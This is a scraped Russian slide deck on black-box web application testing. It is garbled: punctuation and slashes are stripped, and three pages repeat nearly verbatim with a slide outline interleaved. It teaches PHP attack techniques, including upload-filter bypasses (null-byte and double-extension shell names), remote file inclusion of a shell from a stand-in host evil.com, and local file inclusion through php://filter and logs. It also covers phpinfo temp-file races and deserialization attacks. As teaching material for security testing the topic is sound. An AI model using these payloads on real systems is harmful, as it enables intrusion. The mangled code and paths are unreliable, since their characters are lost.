php gt var_dump(00e123123123==0)bool(true)bull Как воспользоваться уязвимостью Достаточно слать

запросы с подписью 0 и ждать пока усечённое значение хеша будет соответствовать 0+ed+

lt=$question[2]

bull Где уязвимостьlt$name = basename($_GET[name])$data = $_GET[data]file_put_contents(htmls$name $data)readfile(htmls$name)unlink(htmls$name)

lt=$answer[2]bull Combo-break Очевидное состояние гонки и менее

очевидная уязвимость PHP Атомарными на верхнем уровне можно считать операции записи чтения и удаления файла

bull Сценарий не блокирует доступ к файлу для других потоков поэтому можно обратиться к нему параллельно и выполнить произвольный код (в php-файле)

bull Кроме того можно остановить сценарий в момент вывода данных в браузер если заменить метод GET на метод HEAD См httpsstudentsmimuwedupl~ai292615php_head_trickpdf

Загрузка файлов

bull Интерфейс загрузки файлов достаточно легко реализовать безопасно однако очень часто разработчики либо совсем забывают про этот аспект либо делают ненужные костыли

bull По сути проверка корректности имени файла превращается в WAF с сопутствующими типичными ошибками

Загрузка файлов

bull Регистрозависимость shellPhP не соответствует запрещающему регулярному выражению php$

bull Отсутствие терминирующего символа shelljpgphp соответствует ^[w]+jpgis

bull Black-listing расширений htaccess testphp3 не соответствуют php$i

bull Black-listing и MIME-типы в Apache shellphpasd не соответствует (htaccess|php3)$is (расширение asd будет отброшено веб-сервером)

Загрузка файлов

bull Управляющие символы в выражении shellphpXXjpg соответствует [w]+jpg$is

bull Терминирующий символ в группе shellbmpphp соответствует ^[w]+(bmp|gif|jpg$)is

bull URL-декодирование имени файла shellphp00jpg проходит разумные проверки но после декодирования будет создан файл shellphp

bull Проверка содержимого getimagesize() обходится очень легко (заголовок GIF11anaa например) Обход сжатия httpsrdotorgforumshowthreadphpt=2780

Загрузка файлов

bull Проверка MIME-типа вместо расширения или содержимого любой файл можно загрузить с Content-Type imagegif

bull Множественная загрузка в интерпретаторе PHP имелась уязвимость (исправлена примерно в 54 версии) позволяющая читать и загружать произвольные файлы путём разрушения структуры массива $_FILES См httpstudentsmimuwedupl~ai292615php_multipleupload_overwritepdf и httpsrdotorgforumshowthreadphpt=1329

File inclusion

bull В PHP-приложениях достаточно распространены уязвимости связанные с чтением или исполнением произвольных файлов

bull Рассмотрим подробнее второй тип ndash подключение исполняемого PHP-кода

bull При этом путь с точки зрения PHP ndash это не просто локальный путь в файловой системе а URL

bull Поэтому разделяют Local File Inclusion и Remote File Inclusion

File inclusion

bull Чтение file_get_contents readfile highlight_file fopen и т д

bull Подключение include(_once) require(_once) и т д

bull Зависимости для эксплуатации RFI в phpini allow_url_fopen = On allow_url_include = On

bull URL-обёртки поддерживаемые PHP httpphpnetmanualenwrappersphp

RFI

bull Суффикс неважен поскольку имена файлов на своём сервере атакующий контролирует Но можно его отбросить при помощи символов x00 обёртки data

bull Варианты запроса httpevilcomshelltxt dataltphpinfo()gt

bull SSRF можно сканировать и просматривать внутреннюю сеть http10101xxport

bull Потенциально возможно исполнение произвольного кода например через обёртку expect

LFI

bull Без префикса pathfile zippathtozipfile phpfilterread=base64encoderesource=pathscriptphp

bull С префиксом pathfilebull С постфиксом pathfile00

pathfile[x~4096] (до версии 534) а также загрузка файла с нужным расширением в доступную директорию

LFI

bull Что подключать Ищем загрузку документов аватаров и т д

bull varlogaccesslog procselfenviron varmail tmpsess_$PHPSESSID любые другие логи доступные на запись

bull Что если include includes str_replace( $_GET[page]) Это тупой нерекурсивный WAF вот обход page=helliphelliphelliphellipetcpasswd

Трюкиbull Such race conditionbull Many shellsbull Very LFI via PHPInfo Wowbull Что если не доступны ни логи ни загрузки Есть

phpinfo() (см слайд 14)bull Утечка имени временного файла через phpinfo()

состояние гонки при замедлении исполнения сценария (до 30 с) в результате имеем подключение файла с произвольным содержимым

bull См httpsrdotorgforumshowthreadphpt=1134

Трюки

bull PHP ndash это весело Windows ndash это весело Смешать но не взбалтывать

bull Windows CsomedirDotherdirfilebull WinAPI ndash это клёво и WinAPI в PHP ndash ещё клёвееHANDLE WINAPI FindFirstFile( _In_ LPCTSTR lpFileName

_Out_ LPWIN32_FIND_DATA lpFindFileData )bull FindFirstFile() используется многими конструкциями

PHP в т ч includebull Угадайте что будет подключеноinclude Cltootltlt

Трюки

bull Таким образом в Windows + PHP даже не нужен phpinfo-сценарий для эксплуатации LFI через временный файл

bull Достаточно отправить файл с шеллкодом и одновременно подключить имя WindowsTempphpltlttmp

bull API-вызов FindFirstFile самостоятельно отыщет временный файл с шеллкодом

bull См httpsrdotorgforumshowthreadphpt=926

Трюкиbull Заметим что трудности могут возникнуть при

включённом Suhosin Patch от Стефана Эссераbull Исполнить загруженный в текущем потоке файл

не удастся поэтому всё равно нужна гонкаbull Ещё из магии Windows+PHP ndash угадайте что

будет подключеноinclude bechedDesktoptesttxtbull Это обход ограничение allow_url_include и

allow_url_fopen См httpsrdotorgforumshowpostphpp=26499amppostcount=58

Десериализация вкратце

bull Уязвимости механизмов сериализации данных ndash не редкость Нашумевшие уязвимости с unserialize() в PHP-движках и с YAML в Ruby on Rails Pickle-сериализация в Python

bull (De)serialization Objects () Stringsbull Уязвимости основаны на том что при

десериализации произвольных данных возможно создание объектов произвольных классов а также вызов определённых laquoмагическихraquo методов (см httpwwwphpnetmanualrulanguageoop5magicphp)

Десериализация вкратце

bull Задача ndash найти доступные классы с магическими методами которые будут вызваны и могут использованы для несанкционированного доступа

bull Часто для этого используется __destruct()bull См

httpsrdotorgforumshowthreadphpt=950

Трюки

bull Можно выделить некоторые трюки Ошибки в обработке строк сериализации httpsrdotorgforumshowthreadphpt=1742

bull Проведение атаки XXE OOB в отсутствие частных классов с магическими методами путём вызова метода __call класса-обработчика SOAP-объектов httpraz0rnametalksconfidence-2013-php-object-injection-revisited

Заключение

bull В заключение ничего нового не скажешьbull TRAIN HARDbull Google Twitter blogs RDot CTF write-ups

documentation coding testing researchbull Надеюсь узнали и запомнили что-то

полезное

Спасибо за внимание

adminahackrubechedincsecurityru

  • Секреты чёрного ящика
  • Кто я
  • Чёрный ящик
  • Black box
  • Чёрный ящик = Black box
  • Анализ защищённости
  • Почему black box
  • План
  • Первые шаги
  • Первые шаги (2)
  • Первые шаги (3)
  • Главные идеи
  • Распознавание платформ
  • Распознавание платформ (2)
  • Распознавание платформ (3)
  • Распознавание платформ (4)
  • Сбор информации
  • Сбор информации (2)
  • Сбор информации (3)
  • Сбор информации (4)
  • Сбор информации (5)
  • Быстрый fuzzing
  • Быстрый fuzzing (2)
  • Быстрый fuzzing (3)
  • Уязвимости PHP
  • Почему ломаем PHP
  • lt=$question[0]
  • lt=$answer[0]
  • lt=$question[1]
  • lt=$answer[1]
  • lt=$question[2]
  • lt=$answer[2]
  • Загрузка файлов
  • Загрузка файлов (2)
  • Загрузка файлов (3)
  • Загрузка файлов (4)
  • File inclusion
  • File inclusion (2)
  • RFI
  • LFI
  • LFI (2)
  • Трюки
  • Трюки (2)
  • Трюки (3)
  • Трюки (4)
  • Десериализация вкратце
  • Десериализация вкратце (2)
  • Трюки (5)
  • Заключение
  • Спасибо за внимание
Page 25: Blackbox-тестирование веб-приложений

Уязвимости PHP

bull Почему PHP

Почему ломаем PHP

bull Низкий порог вхождения много глупых кодеров с низкопробным кодом

bull Запутанный язык с месивом различным парадигм

bull Годы небезопасной разработки и тучи учебников и статей с уязвимыми примерами

bull bull PROFIT

lt=$question[0]

bull Где уязвимостьltsession_start()if(isset($_SESSION[is_admin]))

header(Location loginphp)require_once includesadminphphellip

lt=$answer[0]

bull Что делает header()bull Отсылает браузеру HTTP заголовкиbull Это прекращает выполнение сценария НЕТbull Получается мы можем получить доступ к

административному интерфейсуbull Для этого удобно задать в Burp Suite

правило заменяющее в заголовке ответа lsquo302 Foundrsquo на lsquo200 OKrsquo

lt=$question[1]

bull Где уязвимостьlt$salt = somesecret$time = microtime()$file = $_GET[file]$sign = substr(md5($salt$file$time) 0 10)if($sign == $_GET[sign])

readfile($file)

lt=$answer[1]

bull Небезопасное сравнение Оператор проверки эквивалентности в PHP ndash это == а тождественности ndash ===

bull Это означает что == влечёт приведение типов что приводит к неожиданностям

php gt var_dump(00e123123123==0)bool(true)bull Как воспользоваться уязвимостью Достаточно слать

запросы с подписью 0 и ждать пока усечённое значение хеша будет соответствовать 0+ed+

lt=$question[2]

bull Где уязвимостьlt$name = basename($_GET[name])$data = $_GET[data]file_put_contents(htmls$name $data)readfile(htmls$name)unlink(htmls$name)

lt=$answer[2]bull Combo-break Очевидное состояние гонки и менее

очевидная уязвимость PHP Атомарными на верхнем уровне можно считать операции записи чтения и удаления файла

bull Сценарий не блокирует доступ к файлу для других потоков поэтому можно обратиться к нему параллельно и выполнить произвольный код (в php-файле)

bull Кроме того можно остановить сценарий в момент вывода данных в браузер если заменить метод GET на метод HEAD См httpsstudentsmimuwedupl~ai292615php_head_trickpdf

Загрузка файлов

bull Интерфейс загрузки файлов достаточно легко реализовать безопасно однако очень часто разработчики либо совсем забывают про этот аспект либо делают ненужные костыли

bull По сути проверка корректности имени файла превращается в WAF с сопутствующими типичными ошибками

Загрузка файлов

bull Регистрозависимость shellPhP не соответствует запрещающему регулярному выражению php$

bull Отсутствие терминирующего символа shelljpgphp соответствует ^[w]+jpgis

bull Black-listing расширений htaccess testphp3 не соответствуют php$i

bull Black-listing и MIME-типы в Apache shellphpasd не соответствует (htaccess|php3)$is (расширение asd будет отброшено веб-сервером)

Загрузка файлов

bull Управляющие символы в выражении shellphpXXjpg соответствует [w]+jpg$is

bull Терминирующий символ в группе shellbmpphp соответствует ^[w]+(bmp|gif|jpg$)is

bull URL-декодирование имени файла shellphp00jpg проходит разумные проверки но после декодирования будет создан файл shellphp

bull Проверка содержимого getimagesize() обходится очень легко (заголовок GIF11anaa например) Обход сжатия httpsrdotorgforumshowthreadphpt=2780

Загрузка файлов

bull Проверка MIME-типа вместо расширения или содержимого любой файл можно загрузить с Content-Type imagegif

bull Множественная загрузка в интерпретаторе PHP имелась уязвимость (исправлена примерно в 54 версии) позволяющая читать и загружать произвольные файлы путём разрушения структуры массива $_FILES См httpstudentsmimuwedupl~ai292615php_multipleupload_overwritepdf и httpsrdotorgforumshowthreadphpt=1329

File inclusion

bull В PHP-приложениях достаточно распространены уязвимости связанные с чтением или исполнением произвольных файлов

bull Рассмотрим подробнее второй тип ndash подключение исполняемого PHP-кода

bull При этом путь с точки зрения PHP ndash это не просто локальный путь в файловой системе а URL

bull Поэтому разделяют Local File Inclusion и Remote File Inclusion

File inclusion

bull Чтение file_get_contents readfile highlight_file fopen и т д

bull Подключение include(_once) require(_once) и т д

bull Зависимости для эксплуатации RFI в phpini allow_url_fopen = On allow_url_include = On

bull URL-обёртки поддерживаемые PHP httpphpnetmanualenwrappersphp

RFI

bull Суффикс неважен поскольку имена файлов на своём сервере атакующий контролирует Но можно его отбросить при помощи символов x00 обёртки data

bull Варианты запроса httpevilcomshelltxt dataltphpinfo()gt

bull SSRF можно сканировать и просматривать внутреннюю сеть http10101xxport

bull Потенциально возможно исполнение произвольного кода например через обёртку expect

LFI

bull Без префикса pathfile zippathtozipfile phpfilterread=base64encoderesource=pathscriptphp

bull С префиксом pathfilebull С постфиксом pathfile00

pathfile[x~4096] (до версии 534) а также загрузка файла с нужным расширением в доступную директорию

LFI

bull Что подключать Ищем загрузку документов аватаров и т д

bull varlogaccesslog procselfenviron varmail tmpsess_$PHPSESSID любые другие логи доступные на запись

bull Что если include includes str_replace( $_GET[page]) Это тупой нерекурсивный WAF вот обход page=helliphelliphelliphellipetcpasswd

Трюкиbull Such race conditionbull Many shellsbull Very LFI via PHPInfo Wowbull Что если не доступны ни логи ни загрузки Есть

phpinfo() (см слайд 14)bull Утечка имени временного файла через phpinfo()

состояние гонки при замедлении исполнения сценария (до 30 с) в результате имеем подключение файла с произвольным содержимым

bull См httpsrdotorgforumshowthreadphpt=1134

Трюки

bull PHP ndash это весело Windows ndash это весело Смешать но не взбалтывать

bull Windows CsomedirDotherdirfilebull WinAPI ndash это клёво и WinAPI в PHP ndash ещё клёвееHANDLE WINAPI FindFirstFile( _In_ LPCTSTR lpFileName

_Out_ LPWIN32_FIND_DATA lpFindFileData )bull FindFirstFile() используется многими конструкциями

PHP в т ч includebull Угадайте что будет подключеноinclude Cltootltlt

Трюки

bull Таким образом в Windows + PHP даже не нужен phpinfo-сценарий для эксплуатации LFI через временный файл

bull Достаточно отправить файл с шеллкодом и одновременно подключить имя WindowsTempphpltlttmp

bull API-вызов FindFirstFile самостоятельно отыщет временный файл с шеллкодом

bull См httpsrdotorgforumshowthreadphpt=926

Трюкиbull Заметим что трудности могут возникнуть при

включённом Suhosin Patch от Стефана Эссераbull Исполнить загруженный в текущем потоке файл

не удастся поэтому всё равно нужна гонкаbull Ещё из магии Windows+PHP ndash угадайте что

будет подключеноinclude bechedDesktoptesttxtbull Это обход ограничение allow_url_include и

allow_url_fopen См httpsrdotorgforumshowpostphpp=26499amppostcount=58

Десериализация вкратце

bull Уязвимости механизмов сериализации данных ndash не редкость Нашумевшие уязвимости с unserialize() в PHP-движках и с YAML в Ruby on Rails Pickle-сериализация в Python

bull (De)serialization Objects () Stringsbull Уязвимости основаны на том что при

десериализации произвольных данных возможно создание объектов произвольных классов а также вызов определённых laquoмагическихraquo методов (см httpwwwphpnetmanualrulanguageoop5magicphp)

Десериализация вкратце

bull Задача ndash найти доступные классы с магическими методами которые будут вызваны и могут использованы для несанкционированного доступа

bull Часто для этого используется __destruct()bull См

httpsrdotorgforumshowthreadphpt=950

Трюки

bull Можно выделить некоторые трюки Ошибки в обработке строк сериализации httpsrdotorgforumshowthreadphpt=1742

bull Проведение атаки XXE OOB в отсутствие частных классов с магическими методами путём вызова метода __call класса-обработчика SOAP-объектов httpraz0rnametalksconfidence-2013-php-object-injection-revisited

Заключение

bull В заключение ничего нового не скажешьbull TRAIN HARDbull Google Twitter blogs RDot CTF write-ups

documentation coding testing researchbull Надеюсь узнали и запомнили что-то

полезное

Спасибо за внимание

adminahackrubechedincsecurityru

  • Секреты чёрного ящика
  • Кто я
  • Чёрный ящик
  • Black box
  • Чёрный ящик = Black box
  • Анализ защищённости
  • Почему black box
  • План
  • Первые шаги
  • Первые шаги (2)
  • Первые шаги (3)
  • Главные идеи
  • Распознавание платформ
  • Распознавание платформ (2)
  • Распознавание платформ (3)
  • Распознавание платформ (4)
  • Сбор информации
  • Сбор информации (2)
  • Сбор информации (3)
  • Сбор информации (4)
  • Сбор информации (5)
  • Быстрый fuzzing
  • Быстрый fuzzing (2)
  • Быстрый fuzzing (3)
  • Уязвимости PHP
  • Почему ломаем PHP
  • lt=$question[0]
  • lt=$answer[0]
  • lt=$question[1]
  • lt=$answer[1]
  • lt=$question[2]
  • lt=$answer[2]
  • Загрузка файлов
  • Загрузка файлов (2)
  • Загрузка файлов (3)
  • Загрузка файлов (4)
  • File inclusion
  • File inclusion (2)
  • RFI
  • LFI
  • LFI (2)
  • Трюки
  • Трюки (2)
  • Трюки (3)
  • Трюки (4)
  • Десериализация вкратце
  • Десериализация вкратце (2)
  • Трюки (5)
  • Заключение
  • Спасибо за внимание
Page 26: Blackbox-тестирование веб-приложений

Почему ломаем PHP

bull Низкий порог вхождения много глупых кодеров с низкопробным кодом

bull Запутанный язык с месивом различным парадигм

bull Годы небезопасной разработки и тучи учебников и статей с уязвимыми примерами

bull bull PROFIT

lt=$question[0]

bull Где уязвимостьltsession_start()if(isset($_SESSION[is_admin]))

header(Location loginphp)require_once includesadminphphellip

lt=$answer[0]

bull Что делает header()bull Отсылает браузеру HTTP заголовкиbull Это прекращает выполнение сценария НЕТbull Получается мы можем получить доступ к

административному интерфейсуbull Для этого удобно задать в Burp Suite

правило заменяющее в заголовке ответа lsquo302 Foundrsquo на lsquo200 OKrsquo

lt=$question[1]

bull Где уязвимостьlt$salt = somesecret$time = microtime()$file = $_GET[file]$sign = substr(md5($salt$file$time) 0 10)if($sign == $_GET[sign])

readfile($file)

lt=$answer[1]

bull Небезопасное сравнение Оператор проверки эквивалентности в PHP ndash это == а тождественности ndash ===

bull Это означает что == влечёт приведение типов что приводит к неожиданностям

php gt var_dump(00e123123123==0)bool(true)bull Как воспользоваться уязвимостью Достаточно слать

запросы с подписью 0 и ждать пока усечённое значение хеша будет соответствовать 0+ed+

lt=$question[2]

bull Где уязвимостьlt$name = basename($_GET[name])$data = $_GET[data]file_put_contents(htmls$name $data)readfile(htmls$name)unlink(htmls$name)

lt=$answer[2]bull Combo-break Очевидное состояние гонки и менее

очевидная уязвимость PHP Атомарными на верхнем уровне можно считать операции записи чтения и удаления файла

bull Сценарий не блокирует доступ к файлу для других потоков поэтому можно обратиться к нему параллельно и выполнить произвольный код (в php-файле)

bull Кроме того можно остановить сценарий в момент вывода данных в браузер если заменить метод GET на метод HEAD См httpsstudentsmimuwedupl~ai292615php_head_trickpdf

Загрузка файлов

bull Интерфейс загрузки файлов достаточно легко реализовать безопасно однако очень часто разработчики либо совсем забывают про этот аспект либо делают ненужные костыли

bull По сути проверка корректности имени файла превращается в WAF с сопутствующими типичными ошибками

Загрузка файлов

bull Регистрозависимость shellPhP не соответствует запрещающему регулярному выражению php$

bull Отсутствие терминирующего символа shelljpgphp соответствует ^[w]+jpgis

bull Black-listing расширений htaccess testphp3 не соответствуют php$i

bull Black-listing и MIME-типы в Apache shellphpasd не соответствует (htaccess|php3)$is (расширение asd будет отброшено веб-сервером)

Загрузка файлов

bull Управляющие символы в выражении shellphpXXjpg соответствует [w]+jpg$is

bull Терминирующий символ в группе shellbmpphp соответствует ^[w]+(bmp|gif|jpg$)is

bull URL-декодирование имени файла shellphp00jpg проходит разумные проверки но после декодирования будет создан файл shellphp

bull Проверка содержимого getimagesize() обходится очень легко (заголовок GIF11anaa например) Обход сжатия httpsrdotorgforumshowthreadphpt=2780

Загрузка файлов

bull Проверка MIME-типа вместо расширения или содержимого любой файл можно загрузить с Content-Type imagegif

bull Множественная загрузка в интерпретаторе PHP имелась уязвимость (исправлена примерно в 54 версии) позволяющая читать и загружать произвольные файлы путём разрушения структуры массива $_FILES См httpstudentsmimuwedupl~ai292615php_multipleupload_overwritepdf и httpsrdotorgforumshowthreadphpt=1329

File inclusion

bull В PHP-приложениях достаточно распространены уязвимости связанные с чтением или исполнением произвольных файлов

bull Рассмотрим подробнее второй тип ndash подключение исполняемого PHP-кода

bull При этом путь с точки зрения PHP ndash это не просто локальный путь в файловой системе а URL

bull Поэтому разделяют Local File Inclusion и Remote File Inclusion

File inclusion

bull Чтение file_get_contents readfile highlight_file fopen и т д

bull Подключение include(_once) require(_once) и т д

bull Зависимости для эксплуатации RFI в phpini allow_url_fopen = On allow_url_include = On

bull URL-обёртки поддерживаемые PHP httpphpnetmanualenwrappersphp

RFI

bull Суффикс неважен поскольку имена файлов на своём сервере атакующий контролирует Но можно его отбросить при помощи символов x00 обёртки data

bull Варианты запроса httpevilcomshelltxt dataltphpinfo()gt

bull SSRF можно сканировать и просматривать внутреннюю сеть http10101xxport

bull Потенциально возможно исполнение произвольного кода например через обёртку expect

LFI

bull Без префикса pathfile zippathtozipfile phpfilterread=base64encoderesource=pathscriptphp

bull С префиксом pathfilebull С постфиксом pathfile00

pathfile[x~4096] (до версии 534) а также загрузка файла с нужным расширением в доступную директорию

LFI

bull Что подключать Ищем загрузку документов аватаров и т д

bull varlogaccesslog procselfenviron varmail tmpsess_$PHPSESSID любые другие логи доступные на запись

bull Что если include includes str_replace( $_GET[page]) Это тупой нерекурсивный WAF вот обход page=helliphelliphelliphellipetcpasswd

Трюкиbull Such race conditionbull Many shellsbull Very LFI via PHPInfo Wowbull Что если не доступны ни логи ни загрузки Есть

phpinfo() (см слайд 14)bull Утечка имени временного файла через phpinfo()

состояние гонки при замедлении исполнения сценария (до 30 с) в результате имеем подключение файла с произвольным содержимым

bull См httpsrdotorgforumshowthreadphpt=1134

Трюки

bull PHP ndash это весело Windows ndash это весело Смешать но не взбалтывать

bull Windows CsomedirDotherdirfilebull WinAPI ndash это клёво и WinAPI в PHP ndash ещё клёвееHANDLE WINAPI FindFirstFile( _In_ LPCTSTR lpFileName

_Out_ LPWIN32_FIND_DATA lpFindFileData )bull FindFirstFile() используется многими конструкциями

PHP в т ч includebull Угадайте что будет подключеноinclude Cltootltlt

Трюки

bull Таким образом в Windows + PHP даже не нужен phpinfo-сценарий для эксплуатации LFI через временный файл

bull Достаточно отправить файл с шеллкодом и одновременно подключить имя WindowsTempphpltlttmp

bull API-вызов FindFirstFile самостоятельно отыщет временный файл с шеллкодом

bull См httpsrdotorgforumshowthreadphpt=926

Трюкиbull Заметим что трудности могут возникнуть при

включённом Suhosin Patch от Стефана Эссераbull Исполнить загруженный в текущем потоке файл

не удастся поэтому всё равно нужна гонкаbull Ещё из магии Windows+PHP ndash угадайте что

будет подключеноinclude bechedDesktoptesttxtbull Это обход ограничение allow_url_include и

allow_url_fopen См httpsrdotorgforumshowpostphpp=26499amppostcount=58

Десериализация вкратце

bull Уязвимости механизмов сериализации данных ndash не редкость Нашумевшие уязвимости с unserialize() в PHP-движках и с YAML в Ruby on Rails Pickle-сериализация в Python

bull (De)serialization Objects () Stringsbull Уязвимости основаны на том что при

десериализации произвольных данных возможно создание объектов произвольных классов а также вызов определённых laquoмагическихraquo методов (см httpwwwphpnetmanualrulanguageoop5magicphp)

Десериализация вкратце

bull Задача ndash найти доступные классы с магическими методами которые будут вызваны и могут использованы для несанкционированного доступа

bull Часто для этого используется __destruct()bull См

httpsrdotorgforumshowthreadphpt=950

Трюки

bull Можно выделить некоторые трюки Ошибки в обработке строк сериализации httpsrdotorgforumshowthreadphpt=1742

bull Проведение атаки XXE OOB в отсутствие частных классов с магическими методами путём вызова метода __call класса-обработчика SOAP-объектов httpraz0rnametalksconfidence-2013-php-object-injection-revisited

Заключение

bull В заключение ничего нового не скажешьbull TRAIN HARDbull Google Twitter blogs RDot CTF write-ups

documentation coding testing researchbull Надеюсь узнали и запомнили что-то

полезное

Спасибо за внимание

adminahackrubechedincsecurityru

  • Секреты чёрного ящика
  • Кто я
  • Чёрный ящик
  • Black box
  • Чёрный ящик = Black box
  • Анализ защищённости
  • Почему black box
  • План
  • Первые шаги
  • Первые шаги (2)
  • Первые шаги (3)
  • Главные идеи
  • Распознавание платформ
  • Распознавание платформ (2)
  • Распознавание платформ (3)
  • Распознавание платформ (4)
  • Сбор информации
  • Сбор информации (2)
  • Сбор информации (3)
  • Сбор информации (4)
  • Сбор информации (5)
  • Быстрый fuzzing
  • Быстрый fuzzing (2)
  • Быстрый fuzzing (3)
  • Уязвимости PHP
  • Почему ломаем PHP
  • lt=$question[0]
  • lt=$answer[0]
  • lt=$question[1]
  • lt=$answer[1]
  • lt=$question[2]
  • lt=$answer[2]
  • Загрузка файлов
  • Загрузка файлов (2)
  • Загрузка файлов (3)
  • Загрузка файлов (4)
  • File inclusion
  • File inclusion (2)
  • RFI
  • LFI
  • LFI (2)
  • Трюки
  • Трюки (2)
  • Трюки (3)
  • Трюки (4)
  • Десериализация вкратце
  • Десериализация вкратце (2)
  • Трюки (5)
  • Заключение
  • Спасибо за внимание
Page 27: Blackbox-тестирование веб-приложений

lt=$question[0]

bull Где уязвимостьltsession_start()if(isset($_SESSION[is_admin]))

header(Location loginphp)require_once includesadminphphellip

lt=$answer[0]

bull Что делает header()bull Отсылает браузеру HTTP заголовкиbull Это прекращает выполнение сценария НЕТbull Получается мы можем получить доступ к

административному интерфейсуbull Для этого удобно задать в Burp Suite

правило заменяющее в заголовке ответа lsquo302 Foundrsquo на lsquo200 OKrsquo

lt=$question[1]

bull Где уязвимостьlt$salt = somesecret$time = microtime()$file = $_GET[file]$sign = substr(md5($salt$file$time) 0 10)if($sign == $_GET[sign])

readfile($file)

lt=$answer[1]

bull Небезопасное сравнение Оператор проверки эквивалентности в PHP ndash это == а тождественности ndash ===

bull Это означает что == влечёт приведение типов что приводит к неожиданностям

php gt var_dump(00e123123123==0)bool(true)bull Как воспользоваться уязвимостью Достаточно слать

запросы с подписью 0 и ждать пока усечённое значение хеша будет соответствовать 0+ed+

lt=$question[2]

bull Где уязвимостьlt$name = basename($_GET[name])$data = $_GET[data]file_put_contents(htmls$name $data)readfile(htmls$name)unlink(htmls$name)

lt=$answer[2]bull Combo-break Очевидное состояние гонки и менее

очевидная уязвимость PHP Атомарными на верхнем уровне можно считать операции записи чтения и удаления файла

bull Сценарий не блокирует доступ к файлу для других потоков поэтому можно обратиться к нему параллельно и выполнить произвольный код (в php-файле)

bull Кроме того можно остановить сценарий в момент вывода данных в браузер если заменить метод GET на метод HEAD См httpsstudentsmimuwedupl~ai292615php_head_trickpdf

Загрузка файлов

bull Интерфейс загрузки файлов достаточно легко реализовать безопасно однако очень часто разработчики либо совсем забывают про этот аспект либо делают ненужные костыли

bull По сути проверка корректности имени файла превращается в WAF с сопутствующими типичными ошибками

Загрузка файлов

bull Регистрозависимость shellPhP не соответствует запрещающему регулярному выражению php$

bull Отсутствие терминирующего символа shelljpgphp соответствует ^[w]+jpgis

bull Black-listing расширений htaccess testphp3 не соответствуют php$i

bull Black-listing и MIME-типы в Apache shellphpasd не соответствует (htaccess|php3)$is (расширение asd будет отброшено веб-сервером)

Загрузка файлов

bull Управляющие символы в выражении shellphpXXjpg соответствует [w]+jpg$is

bull Терминирующий символ в группе shellbmpphp соответствует ^[w]+(bmp|gif|jpg$)is

bull URL-декодирование имени файла shellphp00jpg проходит разумные проверки но после декодирования будет создан файл shellphp

bull Проверка содержимого getimagesize() обходится очень легко (заголовок GIF11anaa например) Обход сжатия httpsrdotorgforumshowthreadphpt=2780

Загрузка файлов

bull Проверка MIME-типа вместо расширения или содержимого любой файл можно загрузить с Content-Type imagegif

bull Множественная загрузка в интерпретаторе PHP имелась уязвимость (исправлена примерно в 54 версии) позволяющая читать и загружать произвольные файлы путём разрушения структуры массива $_FILES См httpstudentsmimuwedupl~ai292615php_multipleupload_overwritepdf и httpsrdotorgforumshowthreadphpt=1329

File inclusion

bull В PHP-приложениях достаточно распространены уязвимости связанные с чтением или исполнением произвольных файлов

bull Рассмотрим подробнее второй тип ndash подключение исполняемого PHP-кода

bull При этом путь с точки зрения PHP ndash это не просто локальный путь в файловой системе а URL

bull Поэтому разделяют Local File Inclusion и Remote File Inclusion

File inclusion

bull Чтение file_get_contents readfile highlight_file fopen и т д

bull Подключение include(_once) require(_once) и т д

bull Зависимости для эксплуатации RFI в phpini allow_url_fopen = On allow_url_include = On

bull URL-обёртки поддерживаемые PHP httpphpnetmanualenwrappersphp

RFI

bull Суффикс неважен поскольку имена файлов на своём сервере атакующий контролирует Но можно его отбросить при помощи символов x00 обёртки data

bull Варианты запроса httpevilcomshelltxt dataltphpinfo()gt

bull SSRF можно сканировать и просматривать внутреннюю сеть http10101xxport

bull Потенциально возможно исполнение произвольного кода например через обёртку expect

LFI

bull Без префикса pathfile zippathtozipfile phpfilterread=base64encoderesource=pathscriptphp

bull С префиксом pathfilebull С постфиксом pathfile00

pathfile[x~4096] (до версии 534) а также загрузка файла с нужным расширением в доступную директорию

LFI

bull Что подключать Ищем загрузку документов аватаров и т д

bull varlogaccesslog procselfenviron varmail tmpsess_$PHPSESSID любые другие логи доступные на запись

bull Что если include includes str_replace( $_GET[page]) Это тупой нерекурсивный WAF вот обход page=helliphelliphelliphellipetcpasswd

Трюкиbull Such race conditionbull Many shellsbull Very LFI via PHPInfo Wowbull Что если не доступны ни логи ни загрузки Есть

phpinfo() (см слайд 14)bull Утечка имени временного файла через phpinfo()

состояние гонки при замедлении исполнения сценария (до 30 с) в результате имеем подключение файла с произвольным содержимым

bull См httpsrdotorgforumshowthreadphpt=1134

Трюки

bull PHP ndash это весело Windows ndash это весело Смешать но не взбалтывать

bull Windows CsomedirDotherdirfilebull WinAPI ndash это клёво и WinAPI в PHP ndash ещё клёвееHANDLE WINAPI FindFirstFile( _In_ LPCTSTR lpFileName

_Out_ LPWIN32_FIND_DATA lpFindFileData )bull FindFirstFile() используется многими конструкциями

PHP в т ч includebull Угадайте что будет подключеноinclude Cltootltlt

Трюки

bull Таким образом в Windows + PHP даже не нужен phpinfo-сценарий для эксплуатации LFI через временный файл

bull Достаточно отправить файл с шеллкодом и одновременно подключить имя WindowsTempphpltlttmp

bull API-вызов FindFirstFile самостоятельно отыщет временный файл с шеллкодом

bull См httpsrdotorgforumshowthreadphpt=926

Трюкиbull Заметим что трудности могут возникнуть при

включённом Suhosin Patch от Стефана Эссераbull Исполнить загруженный в текущем потоке файл

не удастся поэтому всё равно нужна гонкаbull Ещё из магии Windows+PHP ndash угадайте что

будет подключеноinclude bechedDesktoptesttxtbull Это обход ограничение allow_url_include и

allow_url_fopen См httpsrdotorgforumshowpostphpp=26499amppostcount=58

Десериализация вкратце

bull Уязвимости механизмов сериализации данных ndash не редкость Нашумевшие уязвимости с unserialize() в PHP-движках и с YAML в Ruby on Rails Pickle-сериализация в Python

bull (De)serialization Objects () Stringsbull Уязвимости основаны на том что при

десериализации произвольных данных возможно создание объектов произвольных классов а также вызов определённых laquoмагическихraquo методов (см httpwwwphpnetmanualrulanguageoop5magicphp)

Десериализация вкратце

bull Задача ndash найти доступные классы с магическими методами которые будут вызваны и могут использованы для несанкционированного доступа

bull Часто для этого используется __destruct()bull См

httpsrdotorgforumshowthreadphpt=950

Трюки

bull Можно выделить некоторые трюки Ошибки в обработке строк сериализации httpsrdotorgforumshowthreadphpt=1742

bull Проведение атаки XXE OOB в отсутствие частных классов с магическими методами путём вызова метода __call класса-обработчика SOAP-объектов httpraz0rnametalksconfidence-2013-php-object-injection-revisited

Заключение

bull В заключение ничего нового не скажешьbull TRAIN HARDbull Google Twitter blogs RDot CTF write-ups

documentation coding testing researchbull Надеюсь узнали и запомнили что-то

полезное

Спасибо за внимание

adminahackrubechedincsecurityru

  • Секреты чёрного ящика
  • Кто я
